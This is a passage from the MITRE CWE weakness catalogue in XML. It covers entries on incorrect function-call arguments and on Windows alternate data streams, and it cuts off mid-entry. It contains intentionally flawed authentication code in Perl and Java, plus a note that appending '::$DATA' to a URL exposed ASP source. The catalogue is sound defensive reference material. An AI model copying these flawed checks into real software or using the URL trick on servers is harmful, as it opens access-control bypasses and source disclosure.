					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>739</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 05 - Floating Point (FLP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>741</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 07 - Characters and Strings (STR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>748</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 50 - POSIX (POS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>873</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>875</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 07 - Characters and Strings (STR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Because this function call often produces incorrect behavior it will
							usually be detected during testing or normal operation of the software.
							During testing exercise all possible control paths will typically expose
							this weakness except in rare cases when the incorrect function call
							accidentally produces the correct results or if the provided argument
							type is very similar to the expected argument type. </Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not invoke a function using a type that does not match the
						function definition</Mapped_Node_Name>
					          <Mapped_Node_ID>DCL35-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Take care when creating format strings</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO00-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not call functions expecting real values with complex
						values</Mapped_Node_Name>
					          <Mapped_Node_ID>FLP31-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not call putenv() with a pointer to an automatic variable
						as the argument</Mapped_Node_Name>
					          <Mapped_Node_ID>POS34-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Arguments to character handling functions must be
						representable as an unsigned char</Mapped_Node_Name>
					          <Mapped_Node_ID>STR37-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not call functions expecting real values with complex
						values</Mapped_Node_Name>
					          <Mapped_Node_ID>FLP31-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Arguments to character handling functions must be
						representable as an unsigned char</Mapped_Node_Name>
					          <Mapped_Node_ID>STR37-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Other_Notes,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="687" Name="Function Call With Incorrectly Specified Argument Value" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software calls a function, procedure, or routine, but the
					caller specifies an argument that contains the wrong value, which may lead to
					resultant weaknesses.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>628</Relationship_Target_ID>
					          <!--Function Call with Incorrectly Specified Arguments-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>742</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>When primary, this weakness is most likely to occur in rarely-tested code,
						since the wrong value can change the semantic meaning of the program's
						execution and lead to obviously-incorrect behavior. It can also be resultant
						from issues in which the program assigns the wrong value to a variable, and
						that variable is later used in a function call. In that sense, this issue
						could be argued as having chaining relationships with many implementation
						errors in CWE.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Manual Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>This might require an understanding of intended program behavior or
							design to determine whether the value is incorrect.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-63">
					          <Intro_Text>This Perl code intends to record whether a user authenticated
						successfully or not, and to exit if the user fails to authenticate. However,
						when it calls ReportAuth(), the third argument is specified as 0 instead of
						1, so it does not exit.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>sub ReportAuth {</Code>
							              <Block>
								                <Code>my ($username, $result, $fatal) = @_;</Code>
								                <Code>PrintLog("auth: username=%s, result=%d", $username,
									$result);</Code>
								                <Code>if (($result ne "success") &amp;&amp; $fatal) {</Code>
								                <Block>
									                  <Code>die "Failed!\n";</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>sub PrivilegedFunc</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>my $result = CheckAuth($username);</Code>
								                <Code>ReportAuth($username, $result, 0);</Code>
								                <Code>DoReallyImportantStuff();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not perform zero length allocations</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM04-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not perform zero length allocations</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM04-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Detection_Factors, Relationships, Other_Notes,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Detection_Factors</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="688" Name="Function Call With Incorrect Variable or Reference as Argument" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software calls a function, procedure, or routine, but the
					caller specifies the wrong variable or reference as one of the arguments, which
					may lead to undefined behavior and resultant weaknesses.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>628</Relationship_Target_ID>
					          <!--Function Call with Incorrectly Specified Arguments-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="Perl"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>This problem typically occurs when the programmer makes a typo, or copy
						and paste errors.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Other</Method_Name>
					          <Method_Description>
						            <Text>While this weakness might be caught by the compiler in some languages,
							it can occur more frequently in cases in which the called function
							accepts variable numbers of arguments, such as format strings in C. It
							also can occur in loosely typed languages or environments. This might
							require an understanding of intended program behavior or design to
							determine whether the value is incorrect.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Because this function call often produces incorrect behavior it will
							usually be detected during testing or normal operation of the software.
							During testing exercise all possible control paths will typically expose
							this weakness except in rare cases when the incorrect function call
							accidentally produces the correct results or if the provided argument
							type is very similar to the expected argument type. </Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-64">
					          <Intro_Text>In the following Java snippet, the accessGranted() method is
						accidentally called with the static ADMIN_ROLES array rather than the user
						roles.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>private static final String[] ADMIN_ROLES = ...;</Code>
							              <Code>public boolean void accessGranted(String resource, String user)
								{</Code>
							              <Block>
								                <Code>String[] userRoles = getUserRoles(user);</Code>
								                <Code>return accessGranted(resource, ADMIN_ROLES);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>private boolean void accessGranted(String resource, String[]
								userRoles) {</Code>
							              <Block>
								                <Comment>// grant or deny access based on user roles</Comment>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2548</Observed_Example_Reference>
					          <Observed_Example_Description>Kernel code specifies the wrong variable in first
						argument, leading to resultant NULL pointer
						dereference.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Detection_Factors,
						Relationships, Other_Notes, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Modes_of_Introduction, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Detection_Factors</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="69" Name="Improper Handling of Windows ::DATA Alternate Data Stream" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not properly prevent access to, or detect
					usage of, alternate data streams (ADS).</Description_Summary>
				        <Extended_Description>
					          <Text>An attacker can use an ADS to hide information about a file (e.g. size,
						the name of the process) from a system or file browser tools such as Windows
						Explorer and 'dir' at the command line utility. Alternately, the attacker
						might be able to bypass intended access restrictions for the associated data
						fork.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>631</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>68</Relationship_Target_ID>
					          <!--Windows Virtual File Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>66</Relationship_Target_ID>
					          <!--Improper Handling of File Names that Identify Virtual Resources-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>634</Relationship_Target_ID>
					          <!--Weaknesses that Affect System Processes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>904</Relationship_Target_ID>
					          <!--SFP Cluster: Malware-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System_Class Operating_System_Class_Description="Windows"/>
				        </Operating_Systems>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>Alternate data streams (ADS) were first implemented in the Windows NT
						operating system to provide compatibility between NTFS and the Macintosh
						Hierarchical File System (HFS). In HFS, data and resource forks are used to
						store information about a file. The data fork provides information about the
						contents of the file while the resource fork stores metadata such as file
						type.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Software tools are capable of finding ADSs on your system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that the source code correctly parses the filename to read or
							write to the correct stream.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0278</Observed_Example_Reference>
					          <Observed_Example_Description>In IIS, remote attackers can obtain source code
						for ASP files by appending "::$DATA" to the
						URL.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0927</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not properly record file sizes if
						they are stored in alternative data streams, which allows users to bypass
						quota restrictions.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>This and similar problems exist because the same resource can have
						multiple identifiers that dictate which behavior can be performed on the
						resource. </Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <Affected_Resources>
				        <Affected_Resource>System Process</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference>
					          <Reference_Author>Don Parker</Reference_Author>
					          <Reference_Title>Windows NTFS Alternate Data Streams</Reference_Title>
					          <Reference_Date>2005-02-16</Reference_Date>
					          <Reference_Link>http://www.securityfocus.com/infocus/1822</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2003</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Windows ::DATA alternate data stream</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>11</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>168</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Background_Details,
						Description, Relationships, Other_Notes, References,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
